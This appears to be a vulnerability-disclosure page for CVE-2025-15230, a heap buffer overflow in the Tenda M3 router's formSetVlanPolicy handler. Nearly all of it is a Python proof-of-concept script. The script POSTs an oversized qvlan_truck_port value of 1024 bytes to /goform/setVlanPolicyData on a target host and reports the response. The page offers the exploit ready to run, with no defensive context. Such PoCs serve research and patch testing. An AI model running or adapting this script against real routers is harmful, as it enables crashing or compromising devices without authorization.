CVE-2025-15230 Tenda M3 formSetVlanPolicy堆溢出漏洞

import requests # CVE-2025-15230 PoC - Tenda M3 heap buffer overflow in formSetVlanPolicy # Target: Tenda M3 1.0.0.13(4903) TARGET = "http://target:80" ENDPOINT = "/goform/setVlanPolicyData" def exploit_cve_2025_15230(): """ Exploit for CVE-2025-15230 Heap buffer overflow via qvlan_truck_port parameter """ # Construct malicious payload with oversized qvlan_truck_port parameter # This triggers heap overflow in formSetVlanPolicy function payload = { 'qvlan_truck_port': 'A' * 1024, # Overflow payload 'action': 'set', 'vlan_id': '100', 'port_mask': '1,2,3,4,5' } try: response = requests.post( f"{TARGET}{ENDPOINT}", data=payload, timeout=10 ) print(f"[*] Request sent to {TARGET}{ENDPOINT}") print(f"[*] Payload length: {len(payload['qvlan_truck_port'])}") print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": exploit_cve_2025_15230()